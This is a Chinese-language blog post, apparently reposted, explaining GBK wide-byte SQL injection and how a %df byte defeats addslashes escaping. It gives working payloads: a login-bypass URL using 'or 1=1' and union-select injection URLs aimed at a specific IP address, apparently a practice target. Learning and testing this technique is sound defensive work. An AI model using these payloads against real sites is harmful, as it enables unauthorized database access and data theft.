■寬字節注入


/*珍惜少年時博客 轉載請注明出處。*/

 51cto關於寬字節介紹很好的一篇文章:http://www.2cto.com/article/201209/153283.html

關於寬字節注入的PPT:寬字節注入.PPT

測試代碼及數據庫出處(http://www.cnblogs.com/lcamry/articles/5625276.html):

http://files.cnblogs.com/files/xishaonian/%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81%E5%8F%8A%E6%95%B0%E6%8D%AE%E5%BA%93.zip

寬字節注入原理

  GBK 占用兩字節

  ASCII占用一字節

  PHP中編碼為GBK,函數執行添加的是ASCII編碼,MYSQL默認字符集是GBK等寬字節字符集。

  輸入%df和函數執行添加的%5C,被合並成%df%5C。由於GBK是兩字節,這個%df%5C被MYSQL識別為GBK。導致本應的%df\變成%df%5C。%df%5C在GBK編碼中沒有對應,所以被當成無效字符。

  %DF’ :會被PHP當中的addslashes函數轉義為“%DF\'” ,“\”既URL里的“%5C”,那么也就是說,“%DF'”會被轉成“%DF%5C%27”倘若網站的字符集是GBK,MYSQL使用的編碼也是GBK的話,就會認為%DF%5C%27”是一個寬字符。也就是“

例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=

其對應的sql就是:

select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

 

以下是一次實例寬字節注入:

注入點:http://103.238.227.13:10083/index.php?id=1

提交 %bf’ 出現錯誤,由此可見存在寬字節注入。

http://103.238.227.13:10083/index.php?id=1%df' order by 2%23
======>推出有兩個字段數
將中間段換做注入語句即可。

  

然后再將sql修改

http://103.238.227.13:10083/index.php?id=-10%df' union select 1,databases()%23 
.....
 
 
THE END


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM